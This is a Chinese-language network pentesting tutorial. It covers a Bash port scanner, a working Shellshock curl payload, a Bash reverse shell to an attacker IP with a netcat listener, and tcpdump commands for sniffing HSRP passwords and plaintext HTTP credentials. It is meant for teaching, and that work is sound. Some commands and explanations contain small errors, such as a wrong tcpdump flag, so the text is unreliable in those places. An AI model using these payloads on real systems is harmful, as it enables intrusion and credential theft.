網路安全測試：從掃描探查到漏洞利用與流量分析

網路安全測試是保護系統免受攻擊的關鍵步驟，涵蓋從初步的網路探查到深入的漏洞利用和流量分析。本文首先介紹如何使用 Bash 指令碼進行基本的網路掃描，快速識別網段內的活躍主機和開放埠。接著，探討 Shellshock 漏洞的原理、利用方式和防禦策略，並以圖表展示攻擊流程，幫助讀者理解其潛在風險。文章進一步講解如何利用 Bash 建立反向殼連線，以及如何使用 Netcat 進行監聽。此外，文章詳細說明瞭使用 tcpdump 和 tshark 進行網路流量分析的技巧，包括捕捉 HSRP、LLMNR、NBT-NS 流量以及 HTTP 平文憑證的方法，並提供實際的命令範例和詳細的引數解說。最後，文章也探討了網頁應用測試中網域名稱接管的風險和檢測方法，提供了一個全面的網路安全測試。

網路探查與漏洞利用：從基本掃描到深度攻擊

網路探查與漏洞利用是資安領域中的兩大重要主題，能夠幫助我們深入瞭解網路環境並揭示潛在的風險。本文將從基本的網路掃描開始，進一步探討如何利用Shellshock漏洞進行深度攻擊。

基本網路掃描

採用Bash指令碼進行網路探查

掃描網路中的主機和開放埠是資安測試中的基本步驟。Ping命令是一個常見的工具，但由於防火牆和主機設定的限制，並不是所有主機都會回應Ping請求。因此，我們可以採用Bash指令碼來進行更全面的網路掃描。

#!/usr/bin/env bash
network="10.0.1"
ports=(22 80 443 445 3389)
for host in {1..254}; do
    ip="$network.$host"
    ping -c 1 $ip >/dev/null 2>&1
    if [ $? -eq 0 ]; then
        echo "$ip is up"
    fi
    for port in "${ports[@]}"; do
        timeout 1 bash -c "echo >/dev/tcp/$ip/$port" >/dev/null 2>&1
        if [ $? -eq 0 ]; then
            echo "port $port is open on $ip"
        fi
    done
done

內容解密：

這段Bash指令碼的主要目的是掃描指定網段內的所有IP地址，並檢查這些IP地址上的一些常見埠是否開放。以下是這段程式碼的詳細解說：

1. 設定網段和埠：network="10.0.1" 和 ports=(22 80 443 445 3389) 分別定義了要掃描的網段和要檢查的埠。
2. 迴圈遍歷所有主機：for host in {1..254}; do 告訴指令碼從1到254遍歷所有可能的主機地址。
3. ping檢查：ping -c 1 $ip >/dev/null 2>&1 對每個IP地址傳送一次Ping請求，如果成功回應（exit status 0），則輸出該IP地址是活躍的。
4. 埠檢查：對於每個活躍的IP地址，進一步檢查指定的埠是否開放。timeout 1 bash -c "echo >/dev/tcp/$ip/$port" >/dev/null 2>&1 嘗試連線每個埠，並設定一秒鐘的超時時間以避免在不回應的埠上卡住。
5. 結果輸出：如果埠連線成功（exit status 0），則輸出該埠在該IP地址上是開放的。

這樣的指令碼可以幫助我們快速掃描一個網段內的活躍主機及其開放埠，為進一步的資安測試提供基礎資料。

深度攻擊：Shellshock漏洞

Shellshock漏洞概述

Shellshock漏洞（CVE-2014-6271）是一個嚴重且廣泛影響的漏洞，發生在Bash Shell中。該漏洞允許攻擊者透過操作環境變數來執行任意命令。以下是Shellshock漏洞的一些技術細節。

ENV=() { ignored; }; echo "Malicious code"

內容解密：

這段程式碼展示瞭如何利用Shellshock漏洞來執行任意命令。以下是詳細解說：

1. 環境變數定義：ENV=() 建立了一個名為ENV的環境變數，並將其定義為一個函式。
2. 函式定義：{ ignored; } 是一個空函式，用於繞過Bash在解析環境變數時可能執行的一些預設行為。
3. 惡意程式碼執行：echo "Malicious code" 是實際要執行的惡意命令。當這個環境變數被傳遞給Bash或由Bash執行時，這條命令會被執行。

漏洞利用範例

以下是利用Shellshock漏洞進行攻擊的一個具體範例：

$ curl -A "() { ignored; }; echo Content-Type: text/plain ; echo ;
echo ; /usr/bin/id" http://10.2.10.1:8080/victim.cgi

概述：此圖示展示了Shellshock漏洞利用過程：

  sequenceDiagram
participant Attacker as 攻擊者
participant VulnerableServer as 應用伺服器（有Shellshock漏洞）
participant TargetSystem as 應用伺服器（有Shellshock漏洞）
Attacker->>VulnerableServer: curl -A "() { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id"
VulnerableServer->>TargetSystem: 執行 /usr/bin/id 命令
TargetSystem-->>VulnerableServer: 命令輸出結果
VulnerableServer-->>Attacker: HTTP回應包含命令輸出結果

內容解密：

這張圖示展示了Shellshock漏洞利用過程中的主要步驟：

1. 攻擊者傳送請求：攻擊者使用curl工具傳送一個帶有惡意程式碼的HTTP請求到目標系統。
2. 伺服器處理請求：目標系統接收到請求後，由於存在Shellshock漏洞，會解析並執行惡意程式碼。
3. 命令執行：伺服器執行 /usr/bin/id 命令，並將結果傳回給攻擊者。
4. 回應結果：攻擊者接收到包含命令執行結果的HTTP回應。

應對策略

面對Shellshock這樣嚴重的漏洞，我們需要採取多方面的策略來保護我們的系統。首先，必須及時更新和修補Bash Shell及相關軟體。其次，應該限制CGI指令碼和其他可能受影響的服務對外暴露。此外，還可以使用防火牆和入侵檢測系統來監控和防止潛在的攻擊。

未來趨勢

隨著技術的不斷進步，網路探查和漏洞利用技術也在不斷演進。未來，我們可能會看到更多根據人工智慧和機器學習技術的自動化探查工具和更加隱蔽、複雜的攻擊手法。因此，保持技術更新和提升資安意識將成為我們有效應對未來挑戰的關鍵。

透過這些技術手法與策略分析,希望能夠幫助我們更好地理解與面對網路安全領域中的挑戰。

Bash Networking 及 網路流量分析

Bash 是一個強大的命令列介面，經常被用於網路測試與分析。以下內容將探討如何利用 Bash 進行網路連線、反向殼及網路流量分析。

反向殼連線

反向殼（Reverse Shell）是一種攻擊技術，透過目標機器主動連線攻擊者的機器來建立命令列介面。以下是一個經典的 Bash 反向殼命令：

/bin/bash -l > /dev/tcp/10.2.10.99/4444 0<&1 2>&1

內容解密：

• /bin/bash -l: 啟動一個新的 Bash shell 會話，作為登入 shell。
• > /dev/tcp/10.2.10.99/4444: 將 shell 的標準輸出（STDOUT）重定向到 TCP 連線，IP 地址為 10.2.10.99，埠為 4444。這裡利用了一個 Linux 的特性：一切皆檔案。
• 0<&1: 將標準輸入（STDIN）重定向到 STDOUT，使得遠端主機傳送的命令能夠被執行。
• 2>&1: 將標準錯誤（STDERR）合併到 STDOUT，確保所有輸出和錯誤訊息都傳送到遠端主機。

在執行這個攻擊之前，我們需要準備好捕捉反向殼連線。可以使用以下 Netcat 命令：

nc -nlvp 4444

內容解密：

• nc: Netcat 命令。
• -n: 只使用數字 IP 地址，不進行 DNS 查詢。
• -l: 監聽進入的連線。
• -v: 輸出詳細資訊。
• -p 4444: 本地監聽埠號碼為 4444。

Netcat 是一個功能強大且多用途的工具，可用於埠掃描、檔案傳輸、監聽埠等多種場景。

在終端機 A 中執行 Netcat 命令，然後在終端機 B 中執行上述反向殼命令。終端機 A 中會顯示來自 10.2.10.1 的連線建立成功。接著，我們可以使用 id 命令檢視這個 shell 的所有者（例如 www-data）。

這些技術可以透過 Vulhub 組態並執行相關漏洞環境進行實驗。Vulhub 是一個提供各種漏洞環境的工具函式庫。

網路流量分析

網路流量分析是測試過程中不可或缺的一部分。以下是如何使用 Bash 捕捉和分析網路流量。

捕捉網路流量

在內部網路測試中，我通常會首先使用 tcpdump 命令來捕捉網路封包。

sudo tcpdump -i eth0 -w packetcapture.pcap

內容解密：

• sudo: 提升當前使用者的許可權。
• tcpdump: 輸出封包內容描述。
• -i eth0: 指定網路介面為 eth0。
• -w packetcapture.pcap: 將捕捉到的資料寫入檔案。

讓這個命令執行五分鐘後，按下 Ctrl + C 停止捕捉。

分析網路流量

捕捉到資料後，可以使用各種 tcpdump 命令來查詢有趣的資料。例如，以下命令用於檢測 HSRP 預設密碼：

tcpdump -XX -r packetcapture.pcap udp port 1985 or udp port 2029 | grep -B4 cisco

內容解密：

• -XX: 輸出完整封包內容。
• -r packetcapture.pcap: 指定要讀取的封包捕捉檔案。
• udp port 1985 or udp port 2029: 擷取 UDP 機碼的封包。
• | grep -B4 cisco: 搜尋包含 “cisco” 的封包並顯示前四行。

HSRP（Hot Standby Router Protocol）允許組態多個實體路由器成為一個邏輯單元，具有分享 IP 地址。攻擊者可以透過注入最高優先值來強製取代主動路由器的角色，導致中間人攻擊（MITM）。如果系統使用預設密碼 “cisco”，這可能導致敏感資料被攔截。

網路安全與流量分析

瞭解網路運作原理對於發現漏洞至關重要。即使面對多次掃描和測試過的系統，深入理解網路上的細節仍能幫助我們找到被忽略的漏洞。

  graph TD;
    A[Netcat] --> B[Tcpdump];
    B --> C[Network Traffic];
    C --> D[Packet Analysis];
    D --> E[Exploit Detection];

內容解密：

此圖示展示了從 Netcat 建立連線開始，經過 Tcpdump 捕捉網路流量、分析封包內容，最終識別潛在漏洞的一個基本流程。每一步都需要深入理解網路協定和工作原理才能有效進行測試和分析。

透過以上技術和方法，我們可以更全面地利用 Bash 在網路安全測試和流量分析中發揮作用。未來章節將進一步探討更多的 Bash 技術與應用場景。

網路流量分析與防護

在進行網路流量分析時，我們可以使用多種工具來捕捉和分析網路包。這些工具不僅能夠幫助我們識別潛在的安全漏洞，還能夠提供關鍵的證據來支援我們的測試報告。以下，我們將探討如何使用 tcpdump 和 tshark 來進行網路流量分析。

使用 tcpdump 捕捉和分析網路流量

tcpdump 是一個強大的命令列網路流量分析工具，能夠捕捉和顯示網路上的資料包。它可以用來監控特定的網路協定或埠，並且能夠過濾出感興趣的流量。

捕捉 HSRP 流量

在這個例子中，我們不需要在 tcpdump 命令前面加上 sudo，因為我們是在讀取一個捕捉檔案。

tcpdump -XX -r packetcapture.pcap udp port 1985 or udp port 2029 | grep -B4 cisco

內容解密：

• -XX: 這個選項會以十六進位制和 ASCII 格式顯示每個資料包的資料，包括連結層標頭。
• -r packetcapture.pcap: 這個選項指定從哪個資料包捕捉檔案中讀取。
• udp port 1985 or udp port 2029: 這是一個過濾條件，只顯示包含指定源或目的埠的記錄。
• | grep -B4 cisco: 這裡我們將 tcpdump 的輸出管道到 grep，搜尋關鍵字 “cisco”。-B4 選項表示在比對行之前顯示四行。

注意事項

進行 MITM 攻擊時要特別小心，尤其是對 HSRP 或其他網路路由協定。如果攻擊失敗，可能會失去對攻擊系統的存取許可權並無法停止攻擊。結果可能導致網路中斷，讓人非常不滿！

捕捉 LLMNR 和 NBT-NS 流量

LLMNR 和 NBT-NS 是常見的被攻擊的網路協定。當 DNS 請求失敗時，Windows 作業系統會嘗試使用這些協定在本地網路上尋找主機名。由於這些是廣播協定，它們可以被毒化並潛在地被利用。

以下命令用於檢測 LLMNR 和 NBT-NS 流量：

tcpdump -r packetcapture.pcap udp port 137 or udp port 5355

內容解密：

• udp port 137 or udp port 5355: 這是一個過濾條件，只顯示從 UDP 埠 137 或 5355 的流量。

捕捉 HTTP 平文憑證

在測試報告中提供概念驗證漏洞是非常重要的。當你發現使用 HTTP 或 FTP 的平文服務時，提供截圖來展示如何捕捉憑證可以幫助系統所有者理解使用平文服務的風險。

以下命令用於過濾 HTTP 平文通訊：

sudo tcpdump -I eth0 -XX 'tcp port 80' | grep -i -B5 pass

內容解密：

• sudo tcpdump -I eth0 -XX ’tcp port 80’: 這個命令捕捉從介面 eth0 上的 TCP 專案為 80 的流量，並以十六進位制和 ASCII 模式顯示。
• | grep -i -B5 pass: 將輸出管道到 grep，搜尋關鍵字 “pass”。-i 忽略大小寫，-B5 在比對行之前顯示五行。

網頁應用測試中的網域名稱接管

在進行網頁應用測試時，我們可以使用 tshark 在終端機中持續執行以發現網域名稱接管漏洞。假設開發人員曾經使用第三方 Web 清單來整合內容到網站中，然後讓該第三方網域名稱過期或被遺棄。如果你能註冊該網域名稱，可能會導致注入內容到 Web 應用程式。

以下命令會提醒你潛在的網域名稱接管機會：

sudo tshark -i eth0 -Y "dns.flags eq 0x8183"

命令解說

• sudo tshark -i eth0 -Y “dns.flags eq 0x8183”: 捕捉從介面 eth0 上符合條件 “dns.flags eq 0x8183” 的 DNS 流量。